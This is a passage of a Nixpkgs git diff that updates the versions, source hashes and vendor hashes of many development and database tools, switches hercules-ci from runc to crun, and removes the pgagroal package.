"0knjkkyw7libqdzw770whrbwdcyr5qabnjw7ayps0k4kql43cyns" + "sha256": "17cp6mq0046y21pd7cadxj90aqkqnlz7zx7sdp7mmn3pzjcaynqc" } } } diff --git a/pkgs/development/tools/build-managers/xmake/default.nix b/pkgs/development/tools/build-managers/xmake/default.nix index 80c610eaa32b8..b6d2f8ab69099 100644 --- a/pkgs/development/tools/build-managers/xmake/default.nix +++ b/pkgs/development/tools/build-managers/xmake/default.nix @@ -12,11 +12,11 @@ stdenv.mkDerivation rec { pname = "xmake"; - version = "2.8.6"; + version = "2.8.7"; src = fetchurl { url = "https://github.com/xmake-io/xmake/releases/download/v${version}/xmake-v${version}.tar.gz"; - hash = "sha256-DmKE6v1RoyNgmCE8CVI39WrK+umoilBAa4gszl6iaz0="; + hash = "sha256-jHqMb3ex/BcF54ViTpoelEcWhEqDeP7Oc0HeJ7mfC4k="; }; nativeBuildInputs = [ diff --git a/pkgs/development/tools/buildah/default.nix b/pkgs/development/tools/buildah/default.nix index f67dba03c3655..9c3e988085d8b 100644 --- a/pkgs/development/tools/buildah/default.nix +++ b/pkgs/development/tools/buildah/default.nix @@ -17,13 +17,13 @@ buildGoModule rec { pname = "buildah"; - version = "1.34.0"; + version = "1.34.1"; src = fetchFromGitHub { owner = "containers"; repo = "buildah"; rev = "v${version}"; - hash = "sha256-LX7yc2FnCiquHV/tESJV/VkuUYXbRNSxmMzVpSz/F8w="; + hash = "sha256-0mH6s9BSTkXutwYVG3EpqEcildO3g37Us4pdTmLPcAQ="; }; outputs = [ "out" "man" ]; @@ -62,6 +62,10 @@ buildGoModule rec { passthru.tests.version = testers.testVersion { package = buildah; + command = '' + XDG_DATA_HOME="$TMPDIR" XDG_CACHE_HOME="$TMPDIR" XDG_CONFIG_HOME="$TMPDIR" \ + buildah --version + ''; }; meta = with lib; { @@ -72,3 +76,4 @@ buildGoModule rec { maintainers = with maintainers; [ ] ++ teams.podman.members; }; } + diff --git a/pkgs/development/tools/buildkit/default.nix b/pkgs/development/tools/buildkit/default.nix index 19f418b543a1b..6dd7d9a3746dd 100644 --- a/pkgs/development/tools/buildkit/default.nix +++ b/pkgs/development/tools/buildkit/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "buildkit"; - version = "0.12.5"; + version = "0.13.0"; src = fetchFromGitHub { owner = "moby"; repo = "buildkit"; rev = "v${version}"; - hash = "sha256-LESaOrUxV/BHGW9JSZfTXpbedp1aegPFWu9/tRx2ArM="; + hash = "sha256-A6BncEyuAWyDlBK9ZuBoDl8gbQo0NAaVWXvy2mZs0GA="; }; vendorHash = null; diff --git a/pkgs/development/tools/buildpack/default.nix b/pkgs/development/tools/buildpack/default.nix index 6cfe8ba348eac..f097695c69e18 100644 --- a/pkgs/development/tools/buildpack/default.nix +++ b/pkgs/development/tools/buildpack/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "pack"; - version = "0.33.1"; + version = "0.33.2"; src = fetchFromGitHub { owner = "buildpacks"; repo = pname; rev = "v${version}"; - hash = "sha256-5pQ51T9QO0Lt2XFM8L2liFckxI+Y1x+S73lMF8Vv3A4="; + hash = "sha256-nKMgyMPPBon3DChkikNvb2s41osub+fdCeGFzXwhQJo="; }; - vendorHash = "sha256-UCNpKBsdwWmllgIi/3Dr6lWJLOh6okYwOHmRfRW0iAQ="; + vendorHash = "sha256-/2GO99kfZTra7tJy90Y0nixNafiP65ZpDQnvEhOaGoA="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/development/tools/butane/default.nix b/pkgs/development/tools/butane/default.nix index 2355b856698d9..4e9dc2d59dc14 100644 --- a/pkgs/development/tools/butane/default.nix +++ b/pkgs/development/tools/butane/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "butane"; - version = "0.19.0"; + version = "0.20.0"; src = fetchFromGitHub { owner = "coreos"; repo = "butane"; rev = "v${version}"; - hash = "sha256-v3HJpkfzGFii4hUfKRiFwcBcAObL1ItYw/9t8FO9gss="; + hash = "sha256-bSzXiA9dAMuljKCDpbWd1hSICNBAMCAUGPLH+0Sz1mA="; }; vendorHash = null; diff --git a/pkgs/development/tools/clj-kondo/default.nix b/pkgs/development/tools/clj-kondo/default.nix index 058f894ab36bf..a11029c1514fa 100644 --- a/pkgs/development/tools/clj-kondo/default.nix +++ b/pkgs/development/tools/clj-kondo/default.nix @@ -3,12 +3,12 @@ buildGraalvmNativeImage rec { pname = "clj-kondo"; - version = "2023.12.15"; + version = "2024.02.12"; src = fetchurl { url = "https://github.com/clj-kondo/${pname}/releases/download/v${version}/${pname}-${version}-standalone.jar"; - sha256 = "sha256-YVFG7eY0wOB41kKJWydXfil8uyDSHRxPVry9L3u2P4k="; + sha256 = "sha256-up98q1/GWP9wZP95lHNE1z2xhzGzb8ZyTeuhP7a+qHw="; }; graalvmDrv = graalvmCEPackages.graalvm-ce; diff --git a/pkgs/development/tools/conftest/default.nix b/pkgs/development/tools/conftest/default.nix index 0fa7a8e4b1641..0f0b14e44bfd9 100644 --- a/pkgs/development/tools/conftest/default.nix +++ b/pkgs/development/tools/conftest/default.nix @@ -6,15 +6,15 @@ buildGoModule rec { pname = "conftest"; - version = "0.48.0"; + version = "0.49.1"; src = fetchFromGitHub { owner = "open-policy-agent"; repo = "conftest"; rev = "refs/tags/v${version}"; - hash = "sha256-xyx+IXPE7/LI2fW7ZKP94JxR3YP9xP7ixNwP8WTTcIQ="; + hash = "sha256-k7wmWfBm/MYMCya6G+Iu12hqXTYthvnD26SVku3BZfU="; }; - vendorHash = "sha256-eY1x2eq3RnjK5OkKsuWGnR3LBsu0N7j5fVEd4TISaZY="; + vendorHash = "sha256-qdJK6uoXp8dsgqj3q/pM3xKgUcqDJ+oxuKYwCJR3Xq0="; ldflags = [ "-s" diff --git a/pkgs/development/tools/continuous-integration/buildbot/master.nix b/pkgs/development/tools/continuous-integration/buildbot/master.nix index d2554713109c3..98626ed36bf48 100644 --- a/pkgs/development/tools/continuous-integration/buildbot/master.nix +++ b/pkgs/development/tools/continuous-integration/buildbot/master.nix @@ -70,14 +70,14 @@ let package = buildPythonApplication rec { pname = "buildbot"; - version = "3.11.0"; + version = "3.11.1"; format = "pyproject"; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-0TW14K0Cp3Ylk+JDNV9x7a8Ul7EC5FTTVvSGccXv6JU="; + hash = "sha256-ruYW1sVoGvFMi+NS+xiNsn0Iq2RmKlax4bxHgYrj6ZY="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/tools/continuous-integration/buildbot/pkg.nix b/pkgs/development/tools/continuous-integration/buildbot/pkg.nix index 80c4170664280..4ccdb66d7b110 100644 --- a/pkgs/development/tools/continuous-integration/buildbot/pkg.nix +++ b/pkgs/development/tools/continuous-integration/buildbot/pkg.nix @@ -6,7 +6,7 @@ buildPythonPackage rec { src = fetchPypi { inherit pname version; - hash = "sha256-ImXiBIFSj0of2SFX01sXB5BI4TYA2IAGmfPofC8ERZQ="; + hash = "sha256-cfPsNnR0gEgz1y/GNR6faixk2HyuHaRh1E9nGHjCb58="; }; postPatch = '' diff --git a/pkgs/development/tools/continuous-integration/buildbot/plugins.nix b/pkgs/development/tools/continuous-integration/buildbot/plugins.nix index 4d2253c54d612..b84e42c1bee70 100644 --- a/pkgs/development/tools/continuous-integration/buildbot/plugins.nix +++ b/pkgs/development/tools/continuous-integration/buildbot/plugins.nix @@ -8,7 +8,7 @@ src = fetchPypi { inherit pname version; - hash = "sha256-bu22WXJ2yBGe89GL3RBxkUN/yPu2GEYURk6C+2LIpns="; + hash = "sha256-5q4N76XHUhvc2lIqup0dYwrEdI5bR/96N7m2rhvPJh4="; }; # Remove unnecessary circular dependency on buildbot @@ -35,7 +35,7 @@ src = fetchPypi { inherit pname version; - hash = "sha256-WDtw4wSAPsmIRcoZS1PIRzQR4OJnHVyc19Q7MnU5VSs="; + hash = "sha256-kjow5WksdBzeo8nwXk5Djm/4tym8XvMo+VgiqSSAyKk="; }; # Remove unnecessary circular dependency on buildbot @@ -62,7 +62,7 @@ src = fetchPypi { inherit pname version; - hash = "sha256-HGlKu9ptej35GJYBBWted/YtsH/uigckAoFAjYTh3gY="; + hash = "sha256-IrXDwO0YSpiZfw6B/lorEQdbAIZ5qCja75L/PFRmJms="; }; buildInputs = [ buildbot-pkg ]; @@ -84,7 +84,7 @@ src = fetchPypi { inherit pname version; - hash = "sha256-oFbR4NvI/6oPXY8TospkHS1j/5KzXd1fguazFtDPIko="; + hash = "sha256-ZkUsAN56OEI/SphQydv4HkVV6Eobd0pd+UbXa23mBfQ="; }; buildInputs = [ buildbot-pkg ]; @@ -106,7 +106,7 @@ src = fetchPypi { inherit pname version; - hash = "sha256-O4scYAKpoEOXsPIodkKUrfwCGNYHlOGfvDnguaM12U0="; + hash = "sha256-qL1+bpgxflcRTFPOvDHKdHilio28bbHClqy1Um4Se+o="; }; buildInputs = [ buildbot-pkg ]; @@ -128,7 +128,7 @@ src = fetchPypi { inherit pname version; - hash = "sha256-DlYqK32lVdZ8qby/1+JCo6m81/0dsxqiAfWMIZ1OAPQ="; + hash = "sha256-5D0N/5Sf8YNQBKt8GzAk1htdEY/xOmE5Abt5y7P9h34="; }; buildInputs = [ buildbot-pkg ]; @@ -150,7 +150,7 @@ src = fetchPypi { inherit pname version; - hash = "sha256-cK+uZU7rG423IT8xvwrpMPiUXfu1oPpGB5onmWNK4fs="; + hash = "sha256-snyJbQZqSIqOk6dTJidSv1VmE/Gn+pblcZs8BpZ+fdA="; }; buildInputs = [ buildbot-pkg ]; @@ -172,7 +172,7 @@ src = fetchPypi { inherit pname version; - hash = "sha256-Gbc0T1fsmke1pO/LiXCzQYrjWzYG1WhHZgypLyzhfok="; + hash = "sha256-0Ggm3NQn1ZZfMsMqf1qdCD1+HkJZmM1p+TqOPF0Q9CE="; }; buildInputs = [ buildbot-pkg ]; @@ -194,7 +194,7 @@ src = fetchPypi { inherit pname version; - hash = "sha256-eFfOYhKw575VWlwD5dKRnqjSUV6kdPrv3UXBs/3AREo="; + hash = "sha256-rBUrYSeAWrxn5mlXaAAtE58jIZVLs/q69ARY2u6rTsI="; }; buildInputs = [ buildbot-pkg ]; @@ -216,7 +216,7 @@ src = fetchPypi { inherit pname version; - hash = "sha256-0CCD1Zrj1xodUITvLzTDrLgLGaEVqt8y26f+exsP4N8="; + hash = "sha256-U0DHWFMmvTKFBW1C5bnoemjMOKpw1H3GXnBn/AU52vY="; }; buildInputs = [ buildbot-pkg ]; @@ -238,7 +238,7 @@ src = fetchPypi { inherit pname version; - hash = "sha256-FNMspluhQlGgQ4X7gJisakHTTmn/5PtQ+obK26PrXdg="; + hash = "sha256-7t4E7twn4TeJJCE5Vn83UzIRE2Okvcox2us1d8j50Os="; }; buildInputs = [ buildbot-pkg ]; diff --git a/pkgs/development/tools/continuous-integration/buildbot/update.sh b/pkgs/development/tools/continuous-integration/buildbot/update.sh index dbefba28b55f5..3936594617c1b 100755 --- a/pkgs/development/tools/continuous-integration/buildbot/update.sh +++ b/pkgs/development/tools/continuous-integration/buildbot/update.sh @@ -14,4 +14,5 @@ nix-update --version=skip buildbot-plugins.react-waterfall-view nix-update --version=skip buildbot-plugins.grid-view nix-update --version=skip buildbot-plugins.react-grid-view nix-update --version=skip buildbot-plugins.wsgi-dashboards +nix-update --version=skip buildbot-plugins.react-wsgi-dashboards nix-update --version=skip buildbot-plugins.badges diff --git a/pkgs/development/tools/continuous-integration/buildbot/worker.nix b/pkgs/development/tools/continuous-integration/buildbot/worker.nix index eb613858f463c..1b73737e42cbc 100644 --- a/pkgs/development/tools/continuous-integration/buildbot/worker.nix +++ b/pkgs/development/tools/continuous-integration/buildbot/worker.nix @@ -28,7 +28,7 @@ buildPythonPackage (rec { src = fetchPypi { inherit pname version; - hash = "sha256-7zpf1Xl5dYPJk8V5PQCx/v+sE9kH23UWM9QbE0fH4tA="; + hash = "sha256-hRsmgP8IiWg5+YCqMVYgZc4ljWwz7YWfAFrmMHx8wBY="; }; postPatch = '' diff --git a/pkgs/development/tools/continuous-integration/cirrus-cli/default.nix b/pkgs/development/tools/continuous-integration/cirrus-cli/default.nix index 2890e157d0edd..51ed01e27d589 100644 --- a/pkgs/development/tools/continuous-integration/cirrus-cli/default.nix +++ b/pkgs/development/tools/continuous-integration/cirrus-cli/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "cirrus-cli"; - version = "0.110.3"; + version = "0.112.1"; src = fetchFromGitHub { owner = "cirruslabs"; repo = pname; rev = "v${version}"; - sha256 = "sha256-+OzBWooLpI4WnyBPRlwLGZVFrckXGeoDJilsEE00slk="; + sha256 = "sha256-v0VYjG1GJwfXXabk9aBs99xGk6F0bFPFBBe//T7P4yQ="; }; - vendorHash = "sha256-xJnBMSfYwx6uHuMjyR9IWGHwt3fNajDr6DW8o+J+lj8="; + vendorHash = "sha256-tHEbHExdbWeZm3+rwRYpRILyPYEYdeVJ91Qr/yNIKV8="; ldflags = [ "-X github.com/cirruslabs/cirrus-cli/internal/version.Version=v${version}" diff --git a/pkgs/development/tools/continuous-integration/drone-runner-docker/default.nix b/pkgs/development/tools/continuous-integration/drone-runner-docker/default.nix index 974cd8f464cb6..e4fc56d74ff2d 100644 --- a/pkgs/development/tools/continuous-integration/drone-runner-docker/default.nix +++ b/pkgs/development/tools/continuous-integration/drone-runner-docker/default.nix @@ -14,7 +14,7 @@ buildGoModule rec { vendorHash = "sha256-KcNp3VdJ201oxzF0bLXY4xWHqHNz54ZrVSI96cfhU+k="; meta = with lib; { - maintainers = with maintainers; [ endocrimes emilylange ]; + maintainers = with maintainers; [ endocrimes ]; license = licenses.unfreeRedistributable; homepage = "https://github.com/drone-runners/drone-runner-docker"; description = "Drone pipeline runner that executes builds inside Docker containers"; diff --git a/pkgs/development/tools/continuous-integration/github-runner/default.nix b/pkgs/development/tools/continuous-integration/github-runner/default.nix index 69b018eaea3c9..fced7e79a6896 100644 --- a/pkgs/development/tools/continuous-integration/github-runner/default.nix +++ b/pkgs/development/tools/continuous-integration/github-runner/default.nix @@ -23,13 +23,13 @@ assert builtins.all (x: builtins.elem x [ "node20" ]) nodeRuntimes; buildDotnetModule rec { pname = "github-runner"; - version = "2.313.0"; + version = "2.314.1"; src = fetchFromGitHub { owner = "actions"; repo = "runner"; rev = "v${version}"; - hash = "sha256-0CclkbJ8AfffdfVNXacnpgFOS+ONk6eP1LTyFa12xU4="; + hash = "sha256-PHcCXWA6LcxpqdbTGbOUqnS4fIJLbHOhEPdagGF71q0="; leaveDotGit = true; postFetch = '' git -C $out rev-parse --short HEAD > $out/.git-revision diff --git a/pkgs/development/tools/continuous-integration/hci/default.nix b/pkgs/development/tools/continuous-integration/hci/default.nix index 1acafb10eabc5..0fac1dfc04c66 100644 --- a/pkgs/development/tools/continuous-integration/hci/default.nix +++ b/pkgs/development/tools/continuous-integration/hci/default.nix @@ -1,8 +1,8 @@ -{ haskell, haskellPackages, lib, makeWrapper, runc, stdenv, emptyDirectory }: +{ crun, haskell, haskellPackages, lib, makeWrapper, stdenv, emptyDirectory }: let inherit (haskell.lib.compose) overrideCabal addBuildTools justStaticExecutables appendConfigureFlags; inherit (lib) makeBinPath; - bundledBins = lib.optional stdenv.isLinux runc; + bundledBins = lib.optional stdenv.isLinux crun; overrides = old: { hercules-ci-agent = diff --git a/pkgs/development/tools/continuous-integration/hercules-ci-agent/default.nix b/pkgs/development/tools/continuous-integration/hercules-ci-agent/default.nix index c5c52d29d3aaf..8d4805341d55b 100644 --- a/pkgs/development/tools/continuous-integration/hercules-ci-agent/default.nix +++ b/pkgs/development/tools/continuous-integration/hercules-ci-agent/default.nix @@ -1,4 +1,5 @@ { + crun, git, gnutar, gzip, @@ -8,14 +9,13 @@ makeBinaryWrapper, nixos, openssh, - runc, stdenv, testers, }: let inherit (haskell.lib.compose) overrideCabal addBuildTools justStaticExecutables; inherit (lib) makeBinPath; - bundledBins = [ gnutar gzip git openssh ] ++ lib.optional stdenv.isLinux runc; + bundledBins = [ gnutar gzip git openssh ] ++ lib.optional stdenv.isLinux crun; pkg = # justStaticExecutables is needed due to https://github.com/NixOS/nix/issues/2990 diff --git a/pkgs/development/tools/continuous-integration/jenkins/default.nix b/pkgs/development/tools/continuous-integration/jenkins/default.nix index e88c92d83b0d0..77ab1a8b090d9 100644 --- a/pkgs/development/tools/continuous-integration/jenkins/default.nix +++ b/pkgs/development/tools/continuous-integration/jenkins/default.nix @@ -4,11 +4,11 @@ stdenv.mkDerivation rec { pname = "jenkins"; - version = "2.426.3"; + version = "2.440.1"; src = fetchurl { url = "https://get.jenkins.io/war-stable/${version}/jenkins.war"; - hash = "sha256-q0OSQ6agfi54/nw0CMWWCfe+O/JolHrCFGV6+Wq60QY="; + hash = "sha256-Ck3uMnaGcyl0W8nSU9rYVl+rALTC8G4aItSS1tRkSV0="; }; nativeBuildInputs = [ makeWrapper ]; @@ -69,7 +69,8 @@ stdenv.mkDerivation rec { homepage = "https://jenkins.io/"; sourceProvenance = with sourceTypes; [ binaryBytecode ]; license = licenses.mit; - maintainers = with maintainers; [ coconnor earldouglas nequissimus ] ++ teams.helsinki-systems.members; + maintainers = with maintainers; + [ coconnor earldouglas nequissimus ] ++ teams.helsinki-systems.members; changelog = "https://www.jenkins.io/changelog-stable/#v${version}"; mainProgram = "jenkins-cli"; platforms = platforms.all; diff --git a/pkgs/development/tools/coursier/default.nix b/pkgs/development/tools/coursier/default.nix index 0e6a3453fd982..01a37c78c1707 100644 --- a/pkgs/development/tools/coursier/default.nix +++ b/pkgs/development/tools/coursier/default.nix @@ -8,11 +8,11 @@ let in stdenv.mkDerivation rec { pname = "coursier"; - version = "2.1.8"; + version = "2.1.9"; src = fetchurl { url = "https://github.com/coursier/coursier/releases/download/v${version}/coursier"; - hash = "sha256-fnd2/4ea411c/f3p/BzIHekoRYVznobJbBY4NGb1NwI="; + hash = "sha256-Zj0nDCpbT7foGdUkxPG/FeljZj1alk/gvE0m/T4WlXE="; }; dontUnpack = true; diff --git a/pkgs/development/tools/ctlptl/default.nix b/pkgs/development/tools/ctlptl/default.nix index 576b3095922a2..3c2abdd454974 100644 --- a/pkgs/development/tools/ctlptl/default.nix +++ b/pkgs/development/tools/ctlptl/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "ctlptl"; - version = "0.8.26"; + version = "0.8.28"; src = fetchFromGitHub { owner = "tilt-dev"; repo = pname; rev = "v${version}"; - hash = "sha256-Qi9fN66YLow8TO/4GmJBIcj8CnH7jbpyryjnMG6yp0U="; + hash = "sha256-GFCyFJrhl6VEnIuZNpIIYgdTHYxeBmaukpJ72xspwFM="; }; - vendorHash = "sha256-gortoYTYGtvhM1XWVhI2bB+cKtbTADpKl5W9h1QSEPc="; + vendorHash = "sha256-DEUZbqHHYfjD5jGT5nn3UbWT1aODRsLailSorI/W6w4="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/development/tools/dapr/cli/default.nix b/pkgs/development/tools/dapr/cli/default.nix index e1290fd90757d..c1d06b45982d9 100644 --- a/pkgs/development/tools/dapr/cli/default.nix +++ b/pkgs/development/tools/dapr/cli/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "dapr-cli"; - version = "1.12.0"; + version = "1.13.0"; src = fetchFromGitHub { owner = "dapr"; repo = "cli"; rev = "v${version}"; - sha256 = "sha256-G2n6VGP3ncuZ9siXojr4gx0VacIkKSt4OSQo3ZOecr0="; + sha256 = "sha256-nR9+6glX0oUJZq32XxyV4aVjfjVlNycZvMNaVHy+Q1s="; }; - vendorHash = "sha256-/sdW1cDFpOMkXN4RXJQB1PpDbyNmTEOo9OrK5A7cRGQ="; + vendorHash = "sha256-iqoxlqSdHDfLlb1bcHLPAO2/wiwRpqFBIuoVi7lecKs="; proxyVendor = true; diff --git a/pkgs/development/tools/database/atlas/default.nix b/pkgs/development/tools/database/atlas/default.nix index 7d275071ee4a3..eb59eee43f376 100644 --- a/pkgs/development/tools/database/atlas/default.nix +++ b/pkgs/development/tools/database/atlas/default.nix @@ -2,19 +2,19 @@ buildGoModule rec { pname = "atlas"; - version = "0.19.0"; + version = "0.19.2"; src = fetchFromGitHub { owner = "ariga"; repo = "atlas"; rev = "v${version}"; - hash = "sha256-aTmEQFE+W8qRn7NlMYNr1yXYHLfmvg9Wrd8fzEeaYAo="; + hash = "sha256-P3KatCF9zoqGRh2N1Rc89wJmsE0bRM5Uoq3zTSdAhTY="; }; modRoot = "cmd/atlas"; proxyVendor = true; - vendorHash = "sha256-/nrnTydFwIUEUR6ej2XW4GNysO41jHHtGDb9UBEIslU="; + vendorHash = "sha256-roMEd/R+WmsWdCT9eye0ijqCcYzSSqVFU9mRN1Sw0jk="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/development/tools/database/clickhouse-backup/default.nix b/pkgs/development/tools/database/clickhouse-backup/default.nix index 62a080cf95af6..58a305d388861 100644 --- a/pkgs/development/tools/database/clickhouse-backup/default.nix +++ b/pkgs/development/tools/database/clickhouse-backup/default.nix @@ -7,13 +7,13 @@ buildGoModule rec { pname = "clickhouse-backup"; - version = "2.4.28"; + version = "2.4.33"; src = fetchFromGitHub { owner = "AlexAkulov"; - repo = pname; + repo = "clickhouse-backup"; rev = "v${version}"; - sha256 = "sha256-lr2JntO8GcPYRnljjKM3+r67abufgE7izDLelhN1ze8="; + hash = "sha256-IiREE9nzApX+SI5gWOXU8aaQyJrGZcVJarHcKhcHmyo="; }; vendorHash = "sha256-kI2n7vNY7LQC2dLJL7b46X6Sk9ek3E66dSvEdYsxwI8="; diff --git a/pkgs/development/tools/database/dbmate/default.nix b/pkgs/development/tools/database/dbmate/default.nix index 84bd8d8235f21..30d41b21f9502 100644 --- a/pkgs/development/tools/database/dbmate/default.nix +++ b/pkgs/development/tools/database/dbmate/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "dbmate"; - version = "2.11.0"; + version = "2.12.0"; src = fetchFromGitHub { owner = "amacneil"; repo = "dbmate"; rev = "refs/tags/v${version}"; - hash = "sha256-kY91ToCEl1bNdeIKDAAR3q7053oyFhx+THre7Syw96g="; + hash = "sha256-TXQXG6FdDFtUp1VuM3iWifyRI/6NKa1iPDT8riZxux0="; }; - vendorHash = "sha256-z33Ayxc/ftNHh5zunDu0AlamuoSglX4aqOKQLuYT3+s="; + vendorHash = "sha256-4l3OYn7p+dbGieQ56klyNjuI0jk1ccgBXKeJGOamCjY="; doCheck = false; diff --git a/pkgs/development/tools/database/liquibase/default.nix b/pkgs/development/tools/database/liquibase/default.nix index b9928c41ba606..bd6b373049872 100644 --- a/pkgs/development/tools/database/liquibase/default.nix +++ b/pkgs/development/tools/database/liquibase/default.nix @@ -25,11 +25,11 @@ in stdenv.mkDerivation rec { pname = "liquibase"; - version = "4.25.1"; + version = "4.26.0"; src = fetchurl { url = "https://github.com/liquibase/liquibase/releases/download/v${version}/${pname}-${version}.tar.gz"; - hash = "sha256-iyt6qOx1XU7lL6AhDNKiRP0W7WlfxKciRVYpUHdtKlY="; + hash = "sha256-RoULX9IcVI+WklPLvJfcbIRhmKgiVYHjr1NGrIqn2/I="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/development/tools/database/pg_activity/default.nix b/pkgs/development/tools/database/pg_activity/default.nix index b6b543125195b..32fdeae69e2f7 100644 --- a/pkgs/development/tools/database/pg_activity/default.nix +++ b/pkgs/development/tools/database/pg_activity/default.nix @@ -2,14 +2,14 @@ python3Packages.buildPythonApplication rec { pname = "pg_activity"; - version = "3.4.2"; - disabled = python3Packages.pythonOlder "3.6"; + version = "3.5.0"; + disabled = python3Packages.pythonOlder "3.8"; src = fetchFromGitHub { owner = "dalibo"; repo = pname; rev = "refs/tags/v${version}"; - sha256 = "sha256-7ML/xI1rQUqD9gm+1+yOdIesivAnl7fA8fgk67ru3Kc="; + sha256 = "sha256-raEQbpADSkJZu+ULxzJg9GqFQ4/qmONDHGqoc7quMjI="; }; propagatedBuildInputs = with python3Packages; [ diff --git a/pkgs/development/tools/database/pgagroal/default.nix b/pkgs/development/tools/database/pgagroal/default.nix deleted file mode 100644 index e86e19f8f2e1c..0000000000000 --- a/pkgs/development/tools/database/pgagroal/default.nix +++ /dev/null @@ -1,27 +0,0 @@ -{ lib, stdenv, fetchFromGitHub, cmake, docutils, libev, openssl, systemd }: - -stdenv.mkDerivation rec { - pname = "pgagroal"; - version = "1.5.1"; - - src = fetchFromGitHub { - owner = "agroal"; - repo = "pgagroal"; - rev = version; - hash = "sha256-d6icEYlk0qnzmoP/mvSmTw16YfIYWc2WbY7sKguX7Ug="; - }; - - patches = [ ./do-not-search-libatomic.patch ]; - - nativeBuildInputs = [ cmake docutils ]; - - buildInputs = [ libev openssl systemd ]; - - meta = with lib; { - description = "High-performance connection pool for PostgreSQL"; - homepage = "https://agroal.github.io/pgagroal/"; - license = licenses.bsd3; - maintainers = [ maintainers.marsam ]; - platforms = platforms.linux; - }; -} diff --git a/pkgs/development/tools/database/prqlc/default.nix b/pkgs/development/tools/database/prqlc/default.nix index 60baffb22a290..41e144f5b5f28 100644 --- a/pkgs/development/tools/database/prqlc/default.nix +++ b/pkgs/development/tools/database/prqlc/default.nix @@ -12,16 +12,16 @@ rustPlatform.buildRustPackage rec { pname = "prqlc"; - version = "0.11.1"; + version = "0.11.4"; src = fetchFromGitHub { owner = "prql"; repo = "prql"; rev = version; - hash = "sha256-XKb19qevscNjFUMtLL1nk7fXJuPOyQYZvZ3/4BHS0jo="; + hash = "sha256-YQqGy6BadoTjlCrF7N2PhxmXyuNa6V4sFHRphxQfF4o="; }; - cargoHash = "sha256-cZkXz9sXfFo0OBQDrHKUfYJsTH1RiLEFb4xU6TDaZUQ="; + cargoHash = "sha256-0UEbg6f+9eew5RxmuPsOrtiSBsP9mPMO8h5mJEeTFFU="; nativeBuildInputs = [ pkg-config diff --git a/pkgs/development/tools/database/sqlcmd/default.nix b/pkgs/development/tools/database/sqlcmd/default.nix index 80883ebfe9965..956a28a0d9766 100644 --- a/pkgs/development/tools/database/sqlcmd/default.nix +++ b/pkgs/development/tools/database/sqlcmd/default.nix @@ -8,16 +8,16 @@ buildGoModule rec { pname = "sqlcmd"; - version = "1.5.0"; + version = "1.6.0"; src = fetchFromGitHub { repo = "go-sqlcmd"; owner = "microsoft"; rev = "v${version}"; - sha256 = "sha256-T7Jfxup3yTh0YhalUO/wxyAT4209BhZkUTbCGZggcJ0="; + sha256 = "sha256-LLRNaY6ArUNoKSWSauCh2RKEGO5+G1OnoCAqMaAfOkY="; }; - vendorHash = "sha256-NYWmTXGxt2ko/puNiY2Z0K6gFZW4IC//iT6xQcqSVsQ="; + vendorHash = "sha256-G6Patjrafg9VXXbisBDs/JVvy0SA6moTquKj66z9lzw="; proxyVendor = true; ldflags = [ "-s" "-w" "-X main.version=${version}" ]; diff --git a/pkgs/development/tools/database/sqlite-web/default.nix b/pkgs/development/tools/database/sqlite-web/default.nix index 351c5475ea0e3..01c4712440ca3 100644 --- a/pkgs/development/tools/database/sqlite-web/default.nix +++ b/pkgs/development/tools/database/sqlite-web/default.nix @@ -5,11 +5,11 @@ python3Packages.buildPythonApplication rec { pname = "sqlite-web"; - version = "0.6.2"; + version = "0.6.3"; src = fetchPypi { inherit pname version; - sha256 = "sha256-VIbmYN6KjCRpE+kvJyBV75deYmh+zRjcQXZ2/7mseYU="; + sha256 = "sha256-cDSlSh0vnwvbJZFDPqvJ5oXz68gN9yzodcQYkXUAytE="; }; propagatedBuildInputs = with python3Packages; [ flask peewee pygments ]; diff --git a/pkgs/development/tools/database/squirrel-sql/default.nix b/pkgs/development/tools/database/squirrel-sql/default.nix index 0f866d5e5ae7c..2d0795dee76b6 100644 --- a/pkgs/development/tools/database/squirrel-sql/default.nix +++ b/pkgs/development/tools/database/squirrel-sql/default.nix @@ -6,11 +6,11 @@ }: stdenv.mkDerivation rec { pname = "squirrel-sql"; - version = "4.6.0"; + version = "4.7.1"; src = fetchurl { url = "mirror://sourceforge/project/squirrel-sql/1-stable/${version}-plainzip/squirrelsql-${version}-standard.zip"; - sha256 = "sha256-MMRn83yAi9saUI3/QHggj4s2t0uzZ1oJf9+CIqf4dGc="; + sha256 = "sha256-Y7eG2otbLjtXvs3mRXWL8jJywuhBQ9i/MfWJXvkxnuU="; }; nativeBuildInputs = [ makeWrapper unzip ]; diff --git a/pkgs/development/tools/database/surrealdb-migrations/Cargo.lock b/pkgs/development/tools/database/surrealdb-migrations/Cargo.lock index 7865c0cea6bf2..1f2f5fe8cd0fe 100644 --- a/pkgs/development/tools/database/surrealdb-migrations/Cargo.lock +++ b/pkgs/development/tools/database/surrealdb-migrations/Cargo.lock @@ -28,9 +28,9 @@ checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" [[package]] name = "ahash" -version = "0.7.6" +version = "0.7.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fcb51a0695d8f838b1ee009b3fbf66bda078cd64590202a864a8f3e8c4315c47" +checksum = "5a824f2aa7e75a0c98c5a504fceb80649e9c35265d44525b5f94de4771a395cd" dependencies = [ "getrandom", "once_cell", @@ -39,25 +39,33 @@ dependencies = [ [[package]] name = "ahash" -version = "0.8.3" +version = "0.8.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2c99f64d1e06488f620f932677e24bc6e2897582980441ae90a671415bd7ec2f" +checksum = "77c3a9648d43b9cd48db467b3f87fdd6e146bcc88ab0180006cef2179fe11d01" dependencies = [ "cfg-if", + "getrandom", "once_cell", "version_check", + "zerocopy", ] [[package]] name = "aho-corasick" -version = "1.0.5" +version = "1.1.2" source = 